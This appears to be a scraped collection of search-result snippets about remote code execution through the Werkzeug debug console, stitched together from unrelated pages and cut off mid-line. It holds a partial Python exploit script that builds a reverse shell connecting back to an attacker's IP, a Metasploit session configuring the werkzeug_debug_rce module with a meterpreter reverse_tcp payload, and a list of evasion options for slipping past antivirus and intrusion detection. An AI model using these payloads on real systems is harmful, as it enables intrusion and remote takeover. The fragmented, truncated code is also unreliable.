Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.

June 28, 2015 - This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.

2 days ago - If debug is active you could try to access to /console and gain RCE. ... There is also several exploits on the internet like this or one in metasploit.

WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell :) flask python3 rce werkzeug ctf-tools pentest-tool rce-exploit werkzeug-exploit

This repository contains an advanced Python 3 script to exploit a Remote Code Execution (RCE) vulnerability in the Werkzeug debugger (GHSA-2g68-c3qc-8985).

January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%

People would say it's based on MSF exploit (https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/werkzeug_debug_rce.rb), but as I couldn't understand at all this exploit, I did it my own exploit.

Known vulnerabilities in the werkzeug package.

December 4, 2022 - Here is the full list of possible evasion options supported by the multi/http/werkzeug_debug_rce exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.): msf6 exploit(multi/http/werkzeug_debug_rce) > show evasion Module evasion options: Name Current Setting Required Description ---- --------------- -------- ----------- HTTP::header_folding false no Enable folding of HTTP headers HTTP::method_random_case false no Use random casing for the HTTP method HTTP::method_random_invalid false no Use a random invalid, HTTP method for request HTTP::method_random_valid false no Use a

We cannot provide a description for this page right now

Security vulnerabilities and package health score for pip package Werkzeug 2.0.2

June 3, 2025 - We cannot provide a description for this page right now

werkzeug (werkzeug). werkzeug is vulnerable to directory traversal. An attacker is able to access arbitrary files through the SharedDataMiddleware due to the way Python's `os.path.join()` function works on Windows.

Security vulnerabilities and package health score for pip package werkzeug

February 18, 2020 - Starting with Werkzeug 0.11 the debug console is protected by a PIN by default. If an incorrect PIN is entered too many times the server needs to be restarted. However, it is possible that the PIN has been disabled in the application. Once you’ve exposed the debugger console, standard RCE escalation techniques apply.

January 18, 2024 - git clone https://github.com/hdks-bug/exploitnotes.git cd exploitnotes python3 -m venv .venv source .venv/bin/activate pip3 install -r requirements.txt zensical serve

$ msfconsole -q msf > use exploit/multi/http/werkzeug_debug_rce [*] No payload configured, defaulting to python/meterpreter/reverse_tcp msf exploit(multi/http/werkzeug_debug_rce) > set RHOSTS 192.168.23.5 RHOSTS => 192.168.23.5 msf exploit(multi/http/werkzeug_debug_rce) > set LHOST 192.168.23.117 LHOST => 192.168.23.117 msf exploit(multi/http/werkzeug_debug_rce) > set VHOST 127.0.0.1 VHOST => 127.0.0.1 msf exploit(multi/http/werkzeug_debug_rce) > set MACADDRESS 02:42:ac:12:00:04 MACADDRESS => 02:42:ac:12:00:04 msf exploit(multi/http/werkzeug_debug_rce) > set MACHINEID 8d496199-a25e-4340-9c8d-2

December 4, 2025 - We cannot provide a description for this page right now

Palletsprojects Werkzeug version 2.3.7 security vulnerabilities, CVEs, exploits, vulnerability statistics, CVSS scores and references